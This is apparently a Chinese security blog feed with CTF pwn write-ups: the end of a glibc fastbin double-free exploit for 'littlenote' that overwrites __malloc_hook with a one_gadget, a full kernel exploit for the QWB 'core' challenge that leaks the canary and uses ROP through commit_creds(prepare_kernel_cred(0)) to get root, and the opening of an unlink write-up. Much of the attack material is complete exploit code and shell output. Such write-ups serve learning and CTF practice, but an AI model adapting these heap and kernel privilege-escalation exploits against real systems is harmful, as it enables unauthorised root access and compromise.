__realloc_hook_addr = u64(p.recv(6).ljust(8,'\x00'))-2
print hex(__realloc_hook_addr)
libc_base =__realloc_hook_addr-libc.symbols['__realloc_hook']
print hex(libc_base)
malloc_addr = libc.symbols['__malloc_hook']+libc_base
print "malloc_addr:"+hex(malloc_addr)

当然要利用double还需要绕过 main_arean是否指向向了原来的一个chunk 这个检查。这个就非常容易了,只需要free(p1);free(p2);free(p1)就可以绕过了

绕过后 fastbin list中会多指向一个我们的fake chunk 此时就可以实现任意地址写入了

onegadget

ios@ios:~$ ldd littlenote
    linux-vdso.so.1 =>  (0x00007ffe0e13f000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fccaf9d7000)
    /lib64/ld-linux-x86-64.so.2 (0x00007fccaffa4000)
ios@ios:~$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
ios@ios:~$

使用one_gadget 当然还要满足一些其他条件 例如

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

需要满足rsp+0x50位置的值为0 否则无法成功利用 。需要重新寻找其他满足条件的one gadget

fastbin size检查绕过

在__malloc_hook - 0x23+0x8 处有合适的 size 0x7f

pwndbg> x/4gx 0x7fda4f7ccb10
0x7fda4f7ccb10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000
0x7fda4f7ccb20 <main_arena>:    0x0000000000000000    0x0000000000000000
pwndbg> x/4gx 0x7fda4f7ccb10-0x23
0x7fda4f7ccaed <_IO_wide_data_0+301>:    0xda4f7cb260000000    0x000000000000007f
0x7fda4f7ccafd:    0xda4f48de20000000    0xda4f48da0000007f
pwndbg> x/4gx 0x7fda4f7ccb10-0x23+0x8
0x7fda4f7ccaf5 <_IO_wide_data_0+309>:    0x000000000000007f    0xda4f48de20000000
0x7fda4f7ccb05 <__memalign_hook+5>:    0xda4f48da0000007f    0x000000000000007f
pwndbg>

所以构造当前可控fd为 __malloc_hook - 0x23即可

pwndbg> fastbin
fastbins
0x20: 0x0
0x30: 0x5614c91bb070 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5614c91bc120 —▸ 0x5614c91bc0b0 —▸ 0x7fda4f7ccaed (_IO_wide_data_0+301) ◂— 0xda4f48de20000000
0x80: 0x0
pwndbg>

可以看到当前fastbin 0x70大小的堆块 两次分配0x70堆块就可以分配到malloc_hook(0x60size+堆头0x10)

此时堆块addr=malloc_hook-0x13

所以再次申请堆块填充’a’*13+one_gadget 即可成功执行malloc hook 返回到one_gadget地址 拿到shell

EXP

from pwn import *

context.log_level="debug"
p = process("./littlenote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(data):
    p.recvuntil("choice:")
    p.sendline(str(1))
    p.recvuntil("your note")
    p.send(data)
    p.recvuntil("keep your note?")

def show(idx):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("show?")
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil("choice:")
    p.sendline(str(3))
    p.recvuntil("delete?")
    p.sendline(str(idx))

add("aaa")
p.sendline('N')
delete(0)
add("\n")
p.sendline('Y')
show(1)
#gdb.attach(p)
p.recvuntil('\n')
__realloc_hook_addr = u64(p.recv(6).ljust(8,'\x00'))-2
print hex(__realloc_hook_addr)
libc_base =__realloc_hook_addr-libc.symbols['__realloc_hook']
print hex(libc_base)
malloc_addr = libc.symbols['__malloc_hook']+libc_base
ret_malloc = malloc_addr-0x13
print 'ret_malloc_addr:'+hex(ret_malloc)
__memalign_hook = libc.symbols['__memalign_hook']+libc_base
_IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']+libc_base
print "malloc_addr:"+hex(malloc_addr)
one_gadget=libc_base+0xf02a4
print hex(one_gadget)
add("aaa")
p.sendline('Y')
add("bbb")
p.sendline('Y')
add("ccc")
p.sendline('Y')

delete(2)
delete(3)
delete(2)

add(p64(malloc_addr-0x23))
print "nnnn:"+hex(malloc_addr-0x23)
gdb.attach(p)
p.sendline('Y')
add("ddd")
p.sendline('Y')
add("eee")
p.sendline('Y')

#gdb.attach(p)
add('a'*0x13+p64(one_gadget))
p.sendline('Y')

delete(0)
p.interactive()

成功拿到shell

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0xbb bytes:
    'core\t   Downloads\t     littlenote  one_gadget  pwntools\ttest.c\tVideos\n'
    'Desktop    examples.desktop  lt.py\t Pictures    te\t\tuaf\n'
    'Documents  libc.so.6\t     Music\t Public      Templates\tuaf.c\n'
core       Downloads         littlenote  one_gadget  pwntools    test.c    Videos
Desktop    examples.desktop  lt.py     Pictures    te        uaf
Documents  libc.so.6         Music     Public      Templates    uaf.c
$

推荐文章

]]>
<p>迷途指针、野指针、空指针</p> <p></p><p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="
kernel学习-core http://iosmosis.github.io/2018/11/18/kernel-core/ 2018-11-18T15:27:12.000Z 2018-11-29T08:00:32.000Z 感谢CTF-wiki、P4nda、Veritas501 收获很大

首先捋清kernel pwn 与 用户态下的pwn的区别

正常用户态pwn 控制流程以后 跳转到 bin/sh 就可以了

而kernel pwn 还需要维护堆栈平衡  目的从取得shell变成了取得root权限shell

现代操作系统的权限分离

现代操作系统一般都至少分为内核态和用户态。一般应用程序通常运行于用户态,而当应用程序调用系统调用时候会执行内核代码,此时会处于内核态。一般的,应用程序是不能随便进入内核态的而是需要向OS申请,因为内核态拥有更高的权限。所以当程序运行的时候,其实是有两个栈的,一个位于用户态,一个位于内核态。他们之间会按照操作系统的规定进行通信

内核栈和用户栈分别处于内核空间和用户空间两个不同的空间中,因此,这两个栈是相互独立的,所以参数传递不能只是简单的压栈出栈,因此,Linux内核中主要是才用寄存器的方式来完成这个任务。

intel的x86架构分级

Intel x86架构使用了4个级别来标明不同的特权级权限。R0实际就是内核态,拥有最高权限。而一般应用程序处于R3状态--用户态。在Linux中,还存在R1和R2两个级别,一般归属驱动程序的级别。在Windows平台没有R1和R2两个级别,只用R0内核态和R3用户态。在权限约束上,使用的是高特权等级状态可以阅读低等级状态的数据,例如进程上下文、代码、数据等等,但是反之则不可。R0最高可以读取R0-3所有的内容,R1可以读R1-3的,R2以此类推,R3只能读自己的数据。因为shelllog应该写在内核中

什么是ioctl

ioctl是设备驱动程序中对设备的I/O通道进行管理的函数。所谓对I/O通道进行管理,就是对设备的一些特性进行控制,例如串口的传输波特率、马达的转速等等。它的调用个数如下: 
int ioctl(int fd, ind cmd, …); 
    其中fd是用户程序打开设备时使用open函数返回的文件标示符,cmd是用户程序对设备的控制命令,至于后面的省略号,那是一些补充参数,一般最多一个,这个参数的有无和cmd的意义相关。 
    ioctl函数是文件结构中的一个属性分量,就是说如果你的驱动程序提供了对ioctl的支持,用户就可以在用户程序中使用ioctl函数来控制设备的I/O通道。
    在驱动程序中实现的ioctl函数体内,实际上是有一个switch{case}结构,每一个case对应一个命令码,做出一些相应的操作

具体解释:ioctl

swapgs

调用swapgs命令,在gs寄存器的内核与用户态值之间切换,为离开内核做准备

中断返回指令

发生系统调用时,这是处于用户态的进程主动请求切换到内核态的一种方式。用户态的进程通过系统调用申请使用操作系统提供的系统调用服务例程来处理任务。而系统调用的机制,其核心仍是使用了操作系统为用户特别开发的一个中断机制来实现的,即软中断。

当一个中断服务程序执行完毕时,CPU将恢复被中断的现场,返回到引起中断的程序中。为了实现此项功能,指令系统提供了一条专用的中断返回指令。该指令的格式如下:
IRET/IRETD
该指令执行的过程基本上是INT指令的逆过程,具体如下:
1.从栈顶弹出内容送入IP;
2.再从新栈顶弹出内容送入CS;
3.再从新栈顶弹出内容送入标志寄存器;

CORE

下载下来题目 查看下目录

➜  give_to_player ls
bzImage  core.cpio  leak.py   vmlinux      vmlinux.id1  vmlinux.nam
core     gdb.sh     start.sh  vmlinux.id0  vmlinux.id2  vmlinux.til

去除ida调试文件 主要有以下文件

bzImage :可以理解为压缩后的kernel文件 //可利用./extract-vmlinux ./bzImage > vmlinux 提取静态kernel文件
core.cpio:打包好的磁盘文件
vmlinux :静态kernel文件 //可以直接在此中查找gadget
start.sh:启动环境

根据p4nda师傅理解
*.ko就是binary文件,vmlinux就是libc … 不同的是保护机制是由如何启动决定的
查看下start.sh

➜  give_to_player cat start.sh 
qemu-system-x86_64 \
-m 128M \           原本这里给的64M导致 环境无法运行 可以修改大于64M即可
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \                      这里设置了默认的gdb调试端口 1234
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

发现环境开启了kaslr 未开启smep
解包下core.cpio

mkdir core 

mv core.cpio ./core/core.cpio.gz 

cd core

gunzip core.cpio.gz 

cpio -idmv < core.cpio

ls

➜  core ls
bin       core.id2  core.til     init   linuxrc  sbin  usr
core.id0  core.ko   etc          lib    proc     sys   vmlinux
core.id1  core.nam  gen_cpio.sh  lib64  root     tmp

除去ida调试文件
可以看到我们的驱动文件
core.ko
以及磁盘其他目录
查看下init

➜  core cat init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko
 poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

看到 程序将/proc/kallsyms写入了 /tmp/kallsyms 并且使kptr_restrict 设置为1导致不能直接通过/proc/kallsyms 查找commit_creds,prepare_kernel_cred
但是可以通过/tmp/kallsyms 中查找获取

接着可以看到 poweroff -d 120 -f & 设置了定时关机 这里删除就可以防止自动关机

打包命令

由于题目提供了打包脚本 gen_cpio.sh

➜  core cat gen_cpio.sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
 #$1 就是我们打包后的命名
./gen_cpio.sh core.cpio
.
......
......
./lib64/libm.so.6
./lib64/ld-linux-x86-64.so.2
./lib64/libc.so.6
./sys
125596 块
接着 
mv core.cpio ../
重启 kernel即可

我们写好的exp 也放在解包后的目录里,接着重新打包运行即可在虚拟机里查看到exp

gdb远程调式问题

target remote localhost:1234

通过 gdb ./vmlinux 启动时,虽然加载了 kernel 的符号表,但没有加载驱动 core.ko 的符号表,可以通过 add-symbol-file core.ko textaddr 加载
.text 段的地址可以通过 /sys/modules/core/section/.text 来查看

/ $ cat /sys/module/core/sections/.text
cat: can't open '/sys/module/core/sections/.text': Permission denied

缺少权限
需要重新配置init

➜  core cat init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

重新打包

➜  core ./gen_cpio.sh core.cpio
.
./vmlinux
........
........
./lib64/ld-linux-x86-64.so.2
./lib64/libc.so.6
./sys
125596 块

➜  core mv core.cpio ../
➜  give_to_player ./start.sh

再次查看

cat /sys/module/core/sections/.text
0xffffffffc028b000

所以加载 符号表

pwndbg> add-symbol-file ./core/core.ko 0xffffffffc028b000
add symbol table from file "./core/core.ko" at
    .text_addr = 0xffffffffc028b000
Reading symbols from ./core/core.ko...(no debugging symbols found)...done.

在core驱动下断

pwndbg> b core_read

远程调试

target remote localhost:1234
c

core.ko

__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( (_DWORD)a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD, a3);
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3, a2);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

可以看到这是自行定义的ioctl、并且全局变量可控
传入 0x6677889A进入core_copy_func函数
传入 0x6677889B 进入 core_read函数
传入 0x6677889C 设置off参数

core_copy_func

signed __int64 __fastcall core_copy_func(signed __int64 a1, __int64 a2)
{
  signed __int64 result; // rax
  __int64 v3; // [rsp-50h] [rbp-50h]
  unsigned __int64 v4; // [rsp-10h] [rbp-10h]

  v4 = __readgsqword(0x28u);
  printk(&unk_215, a2);
  if ( a1 > 63 )
  {
    printk(&unk_2A1, a2);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v3, &name, (unsigned __int16)a1);
  }
  return result;
}

注意qmemcpy这里
在执行前 定义 signed int64 a1 但是在执行时unsigned int16)a1

signed和unsigned用于修饰整数类型(包括char,从ANSI C89标准开始支持)。
signed表示有符号,unsigned表示无符号。对应的有符号数的最大取值要比无符号的小约一半,因为最高一位被用来表示符号。
默认的int、short、long、long long为有符号数,也就是说,int等价于signed int,short等价于signed short,long等价于signed long,long long等价于signed long long。但是char本身是signed char还是unsigned char,取决于语言的实现(编译器)。
范围列表如下:
signed char:[-2^7, 2^7)即[-128, 128);验证
unsigned char:[0, 2^8)即[0, 256);
signed n位整数:[-2^(n-1), 2^(n-1));
unsigned n位整数:[0, 2^n)。
注意整数类型占多少空间是不确定的,只能保证sizeof(shor)<=sizeof(int)<=sizeof(long)。一般32位平台上,int和long为32位,short为16位,long long为64位

所以这里可以传入负数导致溢出 因为需要利用溢出所以我们只需要控制构造长度为0xf000000000000300,即可成功覆盖RIP
因为没有开启smep 所以可以利用ret2user在用户态下提权或者在内核态rop进行提权
常见提权命令

commit_creds(prepare_kernel_cred(0));

core_read

unsigned __int64 __fastcall core_read(__int64 a1, __int64 a2)
{
  __int64 v2; // rbx
  __int64 *v3; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v6; // [rsp-50h] [rbp-50h]
  unsigned __int64 v7; // [rsp-10h] [rbp-10h]

  v2 = a1;
  v7 = __readgsqword(0x28u);
  printk(&unk_25B, a2);
  printk(&unk_275, off);
  v3 = &v6;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v3 = 0;
    v3 = (__int64 *)((char *)v3 + 4);
  }
  strcpy((char *)&v6, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v2, (char *)&v6 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v7;
  __asm { swapgs }
  return result;
}

注意到result这里 执行了copy_to_user()函数

在学习Linux内核驱动的时候,经常会碰到copy_from_user和copy_to_user这两个函数,设备驱动程序中的ioctl函数就经常会用到。这两个函数负责在用户空间和内核空间传递数据

查看下他们的定义

copy_from_user:

static inline unsigned long copy_from_user(void *to, const void __user *from, unsigned long n)
{
    if (access_ok(VERIFY_READ, from, n))
        n = __arch_copy_from_user(to, from, n);
    else /* security hole - plug it */
        memzero(to, n);
    return n;
}


copy_to_user:

 unsigned long copy_to_user(void __user *to, const void *from, unsigned long n)
 {
      if (access_ok(VERIFY_WRITE, to, n))
           n = __copy_to_user(to, from, n);
      return n;
 }

其中函数的三个参数含义为:to是内核空间的指针,from是用户空间指针,n表示从用户空间想内核空间拷贝数据的字节数。如果成功执行拷贝操作,则返回0,否则返回还没有完成拷贝的字节数

—————————————

其中access_ok()是

#ifdef CONFIG_MMU
  #define access_ok(type,addr,size) (likely(__range_ok(addr,size) == 0))
#else
  static inline int access_ok(int type, const void *addr, unsigned long size)
 {
  extern unsigned long memory_start, memory_end;
  unsigned long val = (unsigned long)addr;

  return ((val >= memory_start) && ((val + size) < memory_end));
 }

返回再看函数

result = copy_to_user(v2, (char *)&v6 + off, 64LL);

查看下汇编

.text:00000000000000AB                 mov     rsi, offset src ; "Welcome to the QWB CTF challenge.\n"
.text:00000000000000B2                 mov     rdi, rsp        ; dest
.text:00000000000000B5                 call    strcpy
.text:00000000000000BA                 mov     rsi, rsp
.text:00000000000000BD                 add     rsi, cs:off
.text:00000000000000C4                 mov     edx, 40h ; '@'
.text:00000000000000C9                 mov     rdi, rbx
.text:00000000000000CC                 call    _copy_to_user
.text:00000000000000D1                 test    rax, rax
.text:00000000000000D4                 jz      short loc_DB

看到v6其实就是rsp 而off又是我们可以控制设置的 传入 0x6677889C ,所以利用好这个点 可以leak canary(从0位开始获取)以及内核函数地址

canary = rsp+ 0x40
所以设置off为0x40

程序基本分析完毕
1.存在溢出 可以利用执行rop
2.off可控 利用v6+off leak canary
3.因为给出静态vmlinux //可以直接在此中查找gadget

  1. 给出vmlinux 并且启动环境后会将/proc/kallsyms写入tmp/ kallsyms查找commit_creds,prepare_kernel_cred
    5.虽然开启了kaslr 但是可以通过commit_creds,prepare_kernel_cred 计算出找vmlinux base

利用ropgadget提取gadget 过于缓慢 …(CTFwiki suggest use Ropper)
所以我们用Ropper提取gadget

➜  give_to_player ropper --file ./vmlinux --nocolor > g1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

offset 计算exp

➜  give_to_player checksec vmlinux
[*] '/home/ios/kernel/croe/give_to_player/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000) #raw_vmlinux_base
    RWX:      Has RWX segments
#include 
#include 
#include 
#include 
#include 
#include 
#include 
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);

            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}
int main(void){

find_symbols();
unsigned long long offset = vmlinux_base - raw_vmlinux_base;
printf("{==dbg==} leak offset: %p\n",(void*)offset);
}

平衡堆栈

就像刚开始说的一样 内核态与用户态pwn的差别 内核态还需要稳定堆栈
在内核返回用户态的时候,会调用iretq,iretq会依次弹出 rip cs eflags rsp ss之后做一些判断,如果不能构造好这些参数,系统会崩溃
这里采取提前保存的方式来稳定堆栈

static void save_state() {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "pushfq\n"
    "popq %2\n"
    : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

Set off and Leak canary

void *page = mmap(0,0x400000,3,34,-1,0);
    int ret;
    char buf[64];
    memset(buf,0,64);
 #use to fake stack
    puts("{==dbg==} set off");
    ret = ioctl(fd,0x6677889C,0x40);
#set off =0x40
    printf("{==dbg==} ret: %d\n",ret);
    puts("{==dbg==} copy to user");
    ret = ioctl(fd,0x6677889b,(void *)buf);
#set case = 0x6677889b into core_read than leak canary
    printf("{==dbg==} ret: %d\n",ret);
    unsigned long long canary = ((unsigned long long *)buf)[0];
    printf("{==dbg==} canary: %p\n",(void *)canary);

有了cananry 就可以构造rop了

ROP to getshell and ret user

char rop_buf[0x1000];
    unsigned long long * rop = (unsigned long long *)rop_buf;
    int i=0;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = canary;
    rop[i++] = 0x6161616161616161;//rbx
    //ret
    rop[i++] = 0xffffffff81000b2f+offset;//pop rdi ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff8109cce0+offset;//prepare_kernel_cred
    rop[i++] = 0xffffffff810a0f49+offset;//pop rdx ; ret
    rop[i++] = 0xffffffff8109c8e0+2+offset;//commit_creds
    rop[i++] = 0xffffffff8101aa6a+offset;//mov rdi, rax ; call rdx
    rop[i++] = 0xffffffff81a012da+offset;//swapgs ; popfq ; ret
    rop[i++] = 0xdeadbeef;
    rop[i++] = 0xffffffff81050ac2+offset;//iretq
    rop[i++] = (unsigned long long)shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = (unsigned long long)(page+0x400000);
    rop[i++] = user_ss;
    write(fd,rop_buf,0x800);
    ret = ioctl(fd,0x6677889a,0xffffffffffff0000|(0x100));

要注意在getshell前,提前save_state

exp

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);

            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}
static void save_state() {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "pushfq\n"
    "popq %2\n"
    : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

void shell(void) {
    if(!getuid())
        execl("/bin/sh", "sh", NULL);
    exit(0);
}

int main(void){
    int fd  = open("/proc/core",O_RDWR);
    if(fd<0){
        puts("open core error!");
        exit(0);
    }
    printf("{==dbg==} fd: %d\n",fd);

    save_state();
    find_symbols();
    void *page = mmap(0,0x400000,3,34,-1,0);
    int ret;
    char buf[64];
    memset(buf,0,64);
    puts("{==dbg==} set off");
    ret = ioctl(fd,0x6677889C,0x40);
    printf("{==dbg==} ret: %d\n",ret);

    puts("{==dbg==} copy to user");
    ret = ioctl(fd,0x6677889b,(void *)buf);
    printf("{==dbg==} ret: %d\n",ret);
    unsigned long long canary = ((unsigned long long *)buf)[0];
    unsigned long long offset = vmlinux_base - raw_vmlinux_base;
    printf("{==dbg==} canary: %p\n",(void *)canary);
    printf("{==dbg==} leak offset: %p\n",(void*)offset);

    char rop_buf[0x1000];
    unsigned long long * rop = (unsigned long long *)rop_buf;
    int i=0;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = canary;
    rop[i++] = 0x6161616161616161;//rbx
    //ret
    rop[i++] = 0xffffffff81000b2f+offset;//pop rdi ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff8109cce0+offset;//prepare_kernel_cred
    rop[i++] = 0xffffffff810a0f49+offset;//pop rdx ; ret
    rop[i++] = 0xffffffff8109c8e0+2+offset;//commit_creds
    rop[i++] = 0xffffffff8101aa6a+offset;//mov rdi, rax ; call rdx
    rop[i++] = 0xffffffff81a012da+offset;//swapgs ; popfq ; ret
    rop[i++] = 0xdeadbeef;
    rop[i++] = 0xffffffff81050ac2+offset;//iretq
    rop[i++] = (unsigned long long)shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = (unsigned long long)(page+0x400000);
    rop[i++] = user_ss;


    puts("{==dbg==} copy from user");
    write(fd,rop_buf,0x800);
    puts("{==dbg==} lets rop");
    ret = ioctl(fd,0x6677889a,0xffffffffffff0000|(0x100));
    printf("{==dbg==} ret: %d\n",ret);

    return 0;
}

use gcc make it

gcc -g exp.c -o exp

将编译好的exp放入解包后德tmp目录里 并且重新打包

➜  core ls
bin       core.id2  core.til     init   linuxrc  sbin  usr
core.id0  core.ko   etc          lib    proc     sys   vmlinux
core.id1  core.nam  gen_cpio.sh  lib64  root     tmp
➜  core ./gen_cpio.sh core.cpio
.
./vmlinux
......
......
./lib64
./lib64/libm.so.6
./lib64/ld-linux-x86-64.so.2
./lib64/libc.so.6
./sys
125600 块

➜  core mv core.cpio ../

运行exp 成功提权

➜  core cd ..
➜  give_to_player ./start.sh 
qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
[    0.026145] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ 
/$ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/$ cd tmp
/$ ./exp
{==dbg==} fd: 3
commit_creds addr: 0xffffffff9869c8e0
vmlinux_base addr: 0xffffffff98600000
prepare_kernel_cred addr: 0xffffffff9869cce0
{==dbg==} set off
{==dbg==} ret: 0
{==dbg==} copy to user
{==dbg==} ret: 0
{==dbg==} canary: 0x3b35ff2e9fa44700
{==dbg==} leak offset: 0x17600000
{==dbg==} copy from user
{==dbg==} lets rop
/tmp # id
uid=0(root) gid=0(root)

小结

还是有很多不懂得地方,边学习边记录

]]>
<p>感谢CTF-wiki、P4nda、Veritas501 收获很大</p> <p>首先捋清kernel pwn 与 用户态下的pwn的区别</p> <p></p><p class="code-caption" data-lang="" data-line_number="f
unlink-stkof http://iosmosis.github.io/2018/11/16/unlink-stkof/ 2018-11-16T14:23:53.000Z 2018-11-18T15:26:22.000Z 首先理解下unlink操作

初始三个chunk大小都为0x80

chunk1 chunk2 chunk3
PRE_size __ PRE_size __ PRE_size
SIZE=0x80 SIZE=0x80 SIZE=0x80
FD=next_PRE_size FD=next_PRE_size FD=0x0
BK=0x0 BK=before_PRE_size BK=before_PRE_size
String String String

接着进行unlink操作

令chunk1 FD => chunk3 PRE_size
令chunk3 BK => chunk1 PRE_size

chunk1 chunk2 chunk3
PRE_size __ PRE_size __ PRE_size
SIZE=0x80 SIZE=0x80 SIZE=0x80
FD=next_next_PRE_size FD=next_PRE_size FD=0x0
BK=0x0 BK=before_PRE_size BK=before_before_PRE_size
String String String

执行unlink 后

chunk1 chunk3
PRE_size ____ PRE_size
SIZE=0x80 SIZE=0x80 SIZE=0x80
FD=next_PRE_size FD=next_PRE_size FD=0x0
BK=0x0 BK=before_PRE_size BK=before_PRE_size
String String String

glibc中的保护机制(ubuntu18.04堆有做修改)

if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);
#由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
      malloc_printerr ("corrupted size vs. prev_size");

既然要满足这个条件还要成功利用可以考虑伪造一个chunk从而绕过该检查
32位时

chunk1 fake chunk chunk3
PRE_size __ PRE_size __ PRE_size
SIZE=0x80 SIZE=0x30 SIZE=0x80
FD=next_next_PRE_size FD=ptr-0x12 FD=0x0
